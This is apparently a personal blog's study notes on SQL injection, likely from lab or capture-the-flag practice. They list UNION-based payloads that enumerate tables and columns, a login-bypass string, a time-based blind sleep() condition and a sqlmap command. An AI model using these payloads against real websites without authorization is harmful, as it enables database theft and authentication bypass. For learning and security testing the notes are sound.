Skip to content

[Notes] SQL Injection

May 12, 2022

In-Band SQL Injection

SQL Injection Principle

User input is executed by the database as a SQL statement. If a website executes SQL statements we input, it has a SQL injection vulnerability.

Input locations:

  1. Search boxes and other input fields on the website
  2. URL parameters, e.g. domain/search?keyword=123

Basic SQL Syntax

SELECT columns FROM table WHERE condition

* = select all (regex wildcard)

Injection Process

1. Check if SQL injection vulnerability exists

2. Determine column count with ORDER BY

ORDER BY 1 → works → 1 column ORDER BY 2 → works → 2 columns ORDER BY 3 → works → 3 columns ORDER BY 4 → no result → only 3 columns

3. Find display point with UNION

SELECT * FROM user WHERE id=1 AND 1=2 UNION SELECT 1,2,3

4. Query data

Query table names:

UNION SELECT 1,2,table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1

Query column names:

UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='error_flag' LIMIT 1,1

Query data:

UNION SELECT 1,2,flag FROM error_flag LIMIT 1,1

Closing Quotes

Comments: --+, #, --d

AND vs OR: AND requires all conditions true; OR needs only one → Universal password: ' or 2-1=1 -- asdf

Blind SQL Injection

Boolean-based Blind

Guess data by checking whether page returns results:

Time-based Blind

IF(condition, sleep(5), 3) — if condition true, delay 5 seconds.

SQLMap

python sqlmap.py -u "URL"

HEAD Injection

Previous
[Notes] JavaScript
Next
[Notes] CentOS 7 Operating System